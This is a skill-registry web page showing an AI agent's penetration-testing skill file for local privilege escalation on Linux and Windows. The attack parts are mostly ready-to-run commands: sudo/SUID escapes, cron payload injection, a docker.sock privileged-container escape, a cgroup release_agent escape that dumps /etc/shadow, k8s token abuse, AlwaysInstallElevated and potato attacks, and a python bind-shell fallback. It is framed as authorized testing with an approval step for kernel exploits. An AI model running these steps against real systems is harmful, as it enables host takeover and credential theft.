agentleFS
kekurttelkekurttel/pentest-skills/skills/privilege-escalation/SKILL.md

privilege-escalation

Skill4 starsChanged 3 months agoMITView on GitHub

Local privilege escalation (Linux/Windows): linpeas/winPEAS inventory, manual verification of sudo/SUID/cron/PATH/capabilities/docker vectors, container escape (cgroup/docker.sock/k8s SA), Windows vector set (winPEAS, unquoted paths, token impersonation, AlwaysInstallElevated), kernel exploit evaluation as LAST resort, GTFOBins matching. TRIGGER: after a foothold/shell is obtained, user says "privesc", "escalate", "get root", "run linpeas", or the exploitation output contains "next_steps: privilege-escalation". DO NOT trigger when no shell exists yet (exploitation first).

  • Reads credentials

2 other projects use a version of this.

Adopted by

Most recently taken up by

  • Other versions2 projects use a version of this.

    Word for word · 0

    None found.

    Edited · 0

    None found.

    Wrote their own version · 2

    1. iuliandita/skills★ 11same name
    2. noahfranklin/gideon★ 2same name

    How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.

  • In this repository7 other files it gives its agents.

The file

We split this skill into the rules it gives an agent

9 rules. About 0 are common, 5 are distinctive, and 4 are very specific to this project.

  • ≈0

    Common · estimate

    Many files like this have a rule of this kind.

  • ≈5

    Distinctive · estimate

    This author's own choices. Worth a look.

  • 4

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    No shell yet — run exploitation first.

    line 24
  2. Very specific:

    Check every tool you plan to use first: command -v <tool> || echo MISSING.

    line 66
  3. Distinctive:

    Add the missing-tool list to the report (Appendix C: tool versions — "missing: X, used: Y").

    line 69
  4. Very specific:

    No trigger evidence → candidate (open), not confirmed.

    line 141
  5. Distinctive:

    If the impact is clear at discovery (e.g.

    line 234
  6. Distinctive:

    If the impact is unclear or it is asset inventory (open port, subdomain, banner, decoy): Unscored (empty vector + 0.0).

    line 235
  7. Very specific:

    After writing, MANDATORY: python3 skills/reporting/scripts/validate_findings.py work/$CASE/findings/findings.json (exit 0 required).

    line 239
  8. Very specific:

    Every finding follows schemas/findings.schema.json (draft-07).

    line 242
  9. Distinctive:

    Every candidate was manually verified (GTFOBins match / proof command), not just listed.

    line 280

≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

Privilege-Escalation — Inventory, Verify, Escalate Last

Full methodology: references/methodology.md. Vector order is fixed by risk: sudo → SUID → cron/pspy → PATH → writable/systemd → capabilities → docker → kernel exploit (LAST, with approval).

When to Use

  • A foothold shell exists and the user asks to escalate privileges or "get root".
  • The exploitation skill passed a shell and a "next_steps: privilege-escalation" pointer.

When NOT to Use

  • No shell yet — run exploitation first.
  • Kernel exploit without exhausting safe vectors and without explicit approval.
  • User asks for credential harvesting or pivoting after root — that is post-exploitation.

Rationalizations to Reject

  • "linpeas found nothing, root is impossible." → pspy (cron) + manual writable files + kernel candidates were not tried.
  • "Kernel exploit is fastest, fire it directly." → It is the riskiest; harmless vectors come first.
  • "Found SUID, I'm root." → No victory until the GTFOBins shell escape is verified.
  • "I'm in the docker group, that's enough." → True, but proof required: docker run -v /:/mnt and show root.
  • "SUID binary found, I'm root." → No finding until the escape RUNS (<binary> -c 'sh'); if it fails → candidate (open), NOT confirmed.
  • "Writable file = vulnerability." → Prove the file is EXECUTED by root (cron/systemd/timer) — no execution trigger = false positive.
  • "Container root = host root." → Wrong. Container uid=0 is NOT host compromise; report container escape only with host-level proof (Step 2.5).

Methodology

Step 0 — Basic Information (first 10 seconds)

CASE=$(date +%Y%m%d)-<slug>          # e.g. 20260802-e01
mkdir -p work/$CASE/{evidence,scans,findings,report}
# MANDATORY output locations (fixed, do not change):
#   findings.json → work/$CASE/findings/findings.json
#   evidence files → work/$CASE/evidence/
#   scan outputs → work/$CASE/scans/
#   scope.md → work/$CASE/scope.md with:
#     target: <DOMAIN_OR_IP>
#     auth: status: granted | basis: <signed scope / bug bounty / own lab> | evidence_of_auth: <file>
#     date: YYYYMMDD
# When the run ends, also copy findings.json to the run root (benchmark archive).
id && whoami && hostname && uname -a && cat /etc/os-release
sudo -l 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
ls -la /etc/crontab /etc/cron* /var/spool/cron 2>/dev/null
ip a && cat /etc/hosts && cat /etc/passwd | grep -v nologin

Step 0.5 — Tool Check and Fallbacks (MANDATORY)

  1. Check every tool you plan to use first: command -v <tool> || echo MISSING.
  2. Missing tool → use its fallback from the common table below. Fallback also missing → do the same job with python3 stdlib (socket, urllib, http.server).
  3. Note the fallback you used in findings/evidence (tool: <fallback>).
  4. Add the missing-tool list to the report (Appendix C: tool versions — "missing: X, used: Y").
ToolFallback
ncpython3 -c 'import pty,socket,os; s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1); s.bind(("0.0.0.0",PORT)); s.listen(1); c,_=s.accept(); os.dup2(c.fileno(),0); os.dup2(c.fileno(),1); os.dup2(c.fileno(),2); pty.spawn("/bin/bash")' (listener) or bash -c 'exec 3<>/dev/tcp/0.0.0.0/PORT'
nmappython3 socket connect-scan script (port list + banner)
masscannmap -p- -T4 (single target)
subfinder / dnsreconcrt.sh curl + dig
whatwebcurl -sI header analysis + httpx
ffufgobuster; else curl loop (small wordlist)
nucleimanual curl checklist (OWASP flow)
wafw00fcurl -sI + Server:/X-Powered-By/CF-Ray header analysis
sqlmapmanual python urllib payload script
hashcataircrack-ng (WPA); else python brute (small space)
hcxdumptoolairodump-ng handshake capture
crackmapexec / evil-winrm / secretsdumpimpacket python suite (GetUserSPNs.py, secretsdump.py, wmiexec.py)
chisel / ligolossh -D 1080 SOCKS5
pandocreport.md standalone deliverable (PDF optional)
sherlockmanual site-check list or python requests
whoisRDAP: curl -s https://rdap.org/domain/example.com

A missing tool NEVER stops the skill — warn, use the fallback, continue.

Step 1 — Automated Inventory (linpeas)

python3 -m http.server 8000    # own machine
wget -q http://<YOUR_IP>:8000/linpeas.sh -O /tmp/linpeas.sh && chmod +x /tmp/linpeas.sh
./linpeas.sh > /tmp/linpeas.out 2>&1
grep -iE "possible|vulnerable|writable|interesting|CVE-" /tmp/linpeas.out | head -50
  • linpeas produces CANDIDATES, not findings. Every candidate is manually verified.

Step 2 — Vector Verification (safest first)

sudo -l    # "(ALL) NOPASSWD: /usr/bin/vim" → sudo vim -c ':!sh' (GTFOBins)
find / -perm -4000 -type f 2>/dev/null   # SUID → GTFOBins escape, e.g. python3 setuid
cat /etc/crontab && ls -la /etc/cron.d/  # writable root-run script → inject payload
pspy64 -i 1 -c 2 2>/dev/null             # invisible crons — wait 60-120s
find / -writable -type f 2>/dev/null | grep -vE "^/(proc|sys|run)"
getcap -r / 2>/dev/null                  # cap_setuid+ep on a binary → setuid exploit
id | grep -E "docker|lxd"                # docker group → docker run -v /:/mnt
  • PATH hijack only when the cron/script uses a relative path (cat /etc/crontab first).
  • SUID shells: bash -p, never plain bash (euid drops).
# Extra vectors (beyond the 7 above):
# NFS: showmount -e localhost → no_root_squash mount → host root via suid binary
# LD_PRELOAD (if sudo -l shows env_keep=LD_PRELOAD): check the sudo -l output
# systemd timers: systemctl list-timers --all            # schedulers outside cron
# tmux/screen: tmux ls; tmux attach -t <sess>            # root tmux socket world-readable?
# screen -ls
# doas: cat /etc/doas.conf                               # systems using doas instead of sudo
# /etc/passwd: test -w /etc/passwd → add hash (openssl passwd) — adding a user needs approval, NOT destructive
# SSH keys: find / -name "id_rsa" -o -name "*.pem" 2>/dev/null | grep -v proc   # root key world-readable

GTFOBins rule — for every sudo/SUID finding:

curl -s "https://gtfobins.github.io/gtfobins/<binary>/" | grep -iE "sudo|suid" | head -20
# offline: /usr/share/gtfobins/ if present, else grep -r "<binary>" /usr/share/gtfobins/ 2>/dev/null
# no match → try manually: <binary> -c 'sh' (python), vim -c ':!sh', find . -exec sh -p \;
# Rule: the working escape goes into root-proof.txt + "GTFOBins: <binary>" in references.

Trigger-proof rule — every vector candidate needs execution evidence:

  • cron candidate → the cron line + the script actually ran (timestamp change / output file).
  • SUID candidate → the escape command output (uid=0).
  • No trigger evidence → candidate (open), not confirmed.

False Positive Discipline (decoy vectors — web-app Step 4.5 pattern, applied locally):

  • Static-string check: a "SUID" binary that prints a fake root banner on EVERY input (identical output) is a decoy — diff the outputs across arguments.
  • Latency-consistency check: a real escape executes commands (output/time varies); 3 runs with identical output and constant latency → no code path.
  • Banner-only check: strings <binary> | grep "uid=0" shows the banner baked in → canned output; run the actual GTFOBins escape and confirm id CHANGES.
  • Decoy confirmed → status: "false-positive" + Unscored + evidence (3-test output). Never list a decoy as confirmed root.

Step 2.5 — Container Escape

Detect the container first, then escape only with host-level proof:

ls /.dockerenv 2>/dev/null; cat /proc/1/cgroup 2>/dev/null | grep -iE "docker|kubepods|lxc"; capsh --print 2>/dev/null | head -5
  1. docker.sock access (writable socket on host or mounted into the container):
    curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json   # list containers
    # escape to host root — privileged container mounting /:
    curl -s --unix-socket /var/run/docker.sock -H "Content-Type: application/json" \
      -d '{"Image":"alpine","Cmd":["/bin/sh","-c","id > /host/tmp/pwn.txt"],"Binds":["/:/host"],"Privileged":true}' \
      http://localhost/containers/create?name=pwn
    curl -s --unix-socket /var/run/docker.sock -X POST http://localhost/containers/pwn/start
    # docker CLI present → docker run -v /:/mnt --privileged -it alpine chroot /mnt sh
  2. Privileged container (cap_sys_admin + device cgroup — release_agent escape):
    mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
    echo 1 > /tmp/cgrp/x/notify_on_release
    host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
    echo "$host_path/cmd" > /tmp/cgrp/release_agent
    # /cmd: #!/bin/sh  cat /etc/shadow > $host_path/shadow.txt
    sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"   # trigger → release_agent runs on the host
  3. nsenter (host PID namespace visible): nsenter --target 1 --mount --uts --ipc --net --pid -- sh → host namespaces.
  4. k8s service account (inside a pod):
    cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null
    curl -k -H "Authorization: Bearer $(cat .../token)" https://kubernetes.default.svc/api/v1/namespaces/default/pods
    # weak RBAC → create a pod with a hostPath mount → host file access
  5. Known escapes to consider (version-dependent, exploitation-skill rules apply): CVE-2019-5736 (runC), CVE-2022-0492 (cgroup), CVE-2021-22555 (netfilter), CVE-2020-14386 (af_packet).

Rule — container root ≠ host root: id = uid=0 inside a container is NOT host compromise. Report "container escape" (CWE-250/CWE-653) only with host-level proof (host file read/write, host PID 1 visible, host /etc/shadow). Without proof → candidate (open), Unscored.

Step 2.6 — Windows Vector Set (Windows target)

OS check first: systeminfo / whoami /priv — Linux commands fail on Windows.

  1. Inventory: whoami /priv && whoami /groups; systeminfo; net user; sc query state= all
  2. winPEAS present → run it; missing → manual set: a. Unquoted service path: wmic service get name,pathname | findstr /v "\"" → space in path + no quotes → hijack the writable dir/binary b. Weak service permissions: sc qc <svc> (BINARY_PATH_NAME) → icacls the binary — writable → replace it c. AlwaysInstallElevated: reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated → 1 → msiexec /i evil.msi (SYSTEM) d. Token impersonation: SeImpersonatePrivilege / SeAssignPrimaryTokenPrivilege → potato family (JuicyPotato/PrintSpoofer) — read-only environments: detect + report only e. UAC: EnableLUA=0 → high-integrity token directly; otherwise detect + report, do not write a bypass
  3. Proof: whoami showing NT AUTHORITY\SYSTEM + flag/password file read → root-proof.txt pattern (Step 4).

Step 3 — Kernel Exploit (LAST RESORT, with approval)

wget -q http://<YOUR_IP>:8000/les.sh -O /tmp/les.sh && bash /tmp/les.sh | grep -iE "CVE-2[0-9]{3}" | head -10
uname -a   # match kernel version against the exploit's supported range
  • Kernel exploit = crash risk (foothold loss, client outage). Lab/client approval required before running.

Step 4 — Proof and Normalize

id > work/$(date +%Y%m%d)-case/evidence/root-proof.txt
cat /etc/shadow | head -3 >> work/$(date +%Y%m%d)-case/evidence/root-proof.txt
sha256sum work/$(date +%Y%m%d)-case/evidence/root-proof.txt
python3 skills/privilege-escalation/scripts/normalize_privilege_escalation.py /tmp/linpeas.out \
  --target <HOST> > work/$(date +%Y%m%d)-case/findings.json
  • Mandatory proof: id showing uid=0, whoami, /etc/shadow access.
  • The normalize script parses linpeas output for SUID, capabilities, sudo NOPASSWD, writable files, and kernel CVE indicators.

Output Schema

CONTRACT (mandatory): findings.json is a BARE JSON ARRAY at the root — never wrap it in an object like {"findings": [...]}. Wrong: {"findings": [{...}]} → validator rejects (exit 1) Right: [{...}, {...}] → validator accepts Each finding is ONE finding object from schemas/findings.schema.json.

Severity rules:

  • "Unscored" → vector "" (EMPTY) + baseScore 0.0. Filled vector + Unscored = validator error.
  • Scored finding → vector "CVSS:4.0/..." + baseScore + severity band (Low/Medium/High/Critical).
  • Unscored when: asset inventory (open port, subdomain, banner), decoy/false-positive, impact not yet determined.

Scoring contract:

  1. If the impact is clear at discovery (e.g. verified SQLi → auth bypass): score immediately with CVSS 4.0 (vector + baseScore + severity).
  2. If the impact is unclear or it is asset inventory (open port, subdomain, banner, decoy): Unscored (empty vector + 0.0).
  3. The reporting skill scores the remaining Unscored findings at merge; already scored findings are left untouched (highest severity kept).
  4. Either way the validator rule holds: Unscored = empty vector + 0.0.

After writing, MANDATORY: python3 skills/reporting/scripts/validate_findings.py work/$CASE/findings/findings.json (exit 0 required).

Every finding follows schemas/findings.schema.json (draft-07). Key fields:

{
  "id": "PRIV-001",
  "skill": "privilege-escalation",
  "target": "target",
  "title": "Sudo NOPASSWD: /usr/bin/vim",
  "description": "linpeas + sudo -l: user www-data may run /usr/bin/vim as root without a password. GTFOBins: vim escape → root shell.",
  "severity": {"cvss40": {"vector": "", "baseScore": 0.0, "severity": "Unscored"}},
  "evidence": [{"file": "linpeas.out", "hash": "<sha256>", "note": "privesc indicator in linpeas output"}],
  "remediation": "Remove the NOPASSWD entry and drop vim from sudoers; apply least privilege.",
  "references": ["GTFOBins: vim"],
  "detected_at": "2026-08-02T10:00:00+00:00",
  "status": "confirmed"
}
  • Findings stay Unscored unless the impact is verified (root obtained, proof exists) — see the scoring contract above.

Pitfalls

  • Kernel exploit first → system crash, foothold loss, client outage. Safe vectors first, kernel LAST.
  • Treating all of linpeas output as findings → 1000 lines of junk report. Filter + manual verification.
  • Skipping GTFOBins → "found SUID vim but no shell". Every sudo/SUID binary needs its GTFOBins match.
  • PATH hijack without checking absolute paths → wasted vector. cat /etc/crontab first.
  • Plain bash on SUID shells → euid drops, no root. bash -p.
  • Linux tools on Windows → "command not found". OS detection first: systeminfo / whoami /priv.
  • Killing pspy too early → the cron escapes. Watch 60–120 s minimum.
  • Root claim without proof → report rejected. id (uid=0) to file, mandatory.
  • Reporting container root as host root → wrong impact, rejected finding. Container root ≠ host root (Step 2.5).
  • Running Linux-only checks on a Windows target → "command not found". OS detection first, then Step 2.6.
  • Trusting a decoy SUID banner ("uid=0") without running the escape → false positive. Run the escape, confirm id changes.

Verification

  • MANDATORY: python3 skills/reporting/scripts/validate_findings.py work/$CASE/findings/findings.json → exit 0. Without exit 0 the task is NOT complete.
  • findings.json validates: python3 skills/reporting/scripts/validate_findings.py work/<case>/findings.json → exit 0.
  • Every candidate was manually verified (GTFOBins match / proof command), not just listed.
  • root-proof.txt (or equivalent) exists with uid=0 output and is hashed.
  • Vector order followed: kernel exploit only after safe vectors exhausted + approval.
  • Container escape reported only with host-level proof; container root ≠ host root (Step 2.5).
  • Windows vectors verified with winPEAS/manual proof (NT AUTHORITY\SYSTEM output in evidence) (Step 2.6).
  • Decoy vectors marked status: "false-positive" + Unscored + 3-test evidence.

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.